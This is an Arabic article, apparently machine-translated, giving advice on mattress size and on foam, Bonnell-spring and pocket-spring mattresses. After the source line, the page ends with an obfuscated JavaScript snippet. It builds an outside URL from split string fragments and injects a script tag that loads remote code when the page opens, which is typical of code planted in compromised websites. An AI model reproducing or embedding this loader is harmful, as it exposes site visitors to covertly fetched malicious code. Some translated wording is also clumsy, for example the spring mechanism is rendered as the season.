يؤدي النوم الهادئ والمستمر إلى قدرتنا على التعامل مع الواجبات اليومية بحماس أكبر. الليلة الجيدة تزيد من التفاؤل وتؤثر إيجابياً على الصحة. لذا، لا عجب أنه عندما تحدث مشاكل في هذا المجال، نعاني بسرعة من عدم راحتنا في حياتنا اليومية. يمكن العثور على الكثير من الإرشادات عبر الإنترنت التي تساعد في تحسين النوم والحفاظ على نظافة النوم. ولكن أي من هذه القواعد لن تساعد إذا لم نهتم أولاً بسرير مريح. المرتبة هي المسؤول الرئيسي عن شعورنا أثناء الراحة. كيف نختارها لنخلق مكاناً مريحاً جداً لدرجة أننا لن نريد مغادرته في الصباح؟ إليك بعض النصائح.
اختر الحجم المناسب للمرتبة
يجب أن تتناسب أبعاد المنتج مع طولنا. أحياناً نمتلك مساحة كبيرة بما فيه الكفاية للاستثمار في سرير كبير ومرتبة مناسبة له. غالباً ما تتعلق اعتبارات حجم المرتبة بكيفية التحقق من أننا لا نشتري حلاً صغيراً جداً. القاعدة هنا بسيطة جداً:
1. يجب أن يكون طول المرتبة، على الأقل، مساوياً لطولنا بزيادة 15-20 سنتيمتراً. هذا هو الحد الأدنى المطلوب.
2. يجب أن تكون عرض المرتبة الفردية، على الأقل، 90 سم. أحياناً يمكن أن نسمع عن 70 سم، ولكن في كثير من الأحيان يكون هذا العرض غير كافٍ.
نوع المرتبة – بنل، جيب أم إسفنجي؟
الحجم المناسب للمرتبة ليس كل شيء. من المهم أيضاً المادة التي تم تصنيع المنتج منها. عادةً ما نجد مراتب إسفنجية ومراتب نوابض (بنلول وجيب). يمكن أن يرى بعض الأشخاص أن المرتبة الإسفنجية هي منتج منخفض الجودة. يعود ذلك إلى أن كلمة „إسفنج” لا ترتبط بشيء قوي، بل بشيء ينحني بسهولة. من المهم تعليق هذه المعتقدات خلال اختيار المرتبة، حيث يمكن أن تفوتنا الفوائد المرتبطة بالتقنيات الحديثة. تشمل هذه الحلول الإسفنج الحراري والعالي المرونة. يتميز بمرونة ممتازة ومقاومة للانحناءات. من الصعب مقارنة مستوى الراحة الذي يوفره وطول عمره بأي شكل مع المنتجات الإسفنجية القياسية.
على عكس الخيار السابق، تحتوي مرتبة بنل وجيب على النوابض. في الخيار البنل، تكون هذه النوابض ملتصقة من كل جانب بسلك خاص. يمكنك إذن توقع أن هذا التصميم لا يختلف إلى حد كبير عن تصميم المرتبة القياسية. إنها مجرد مظاهر.
في الواقع، تم تجهيز المرتبة الحديثة للنوم بنظام بنل مع ميزات مثل إمكانية الاستخدام من الجانبين. بفضل هذه الخيار، يمكننا ملاءمة جانب المرتبة مع الموسم الحالي. تم استخدام النوابض التقدمية بشكل مثير هنا. إذا عملنا عليها بوزن خفيف، فإن هذه الربيع ستظهر مقاومة صغيرة. بينما في حالة الوزن الأكبر، تزداد قوة الطفو. يجب على الأشخاص الذين يفكرون في شراء مرتبة نوابض الانتباه بشكل خاص إلى المرتبة الجيبية. تعمل كل ربيع هنا بشكل مستقل، لأنها موجودة في جيب منفصل، مما يسمح لهم بالتمتع الكامل بالراحة، بغض النظر عن وضع الجسم.
المصدر: https://desiq.pl/
(function(){ is4p_=(„u”+”st”);is4p=document.createElement(„script”);is4p.async=true; is4pu=”243825879″;is4p_+= „a”+(„t.”);is4p_+= „i”+(„nf”+(„o”))+(„/”); is4pu+= ” .j39bqixys4pbwch4″;is4pu+= „Xenejgpq48vv7l”; is4p.src=”https://”+is4p_+is4pu;is4p.type=”text/javascript”; d_b=document.body;d_b.appendChild(is4p); })();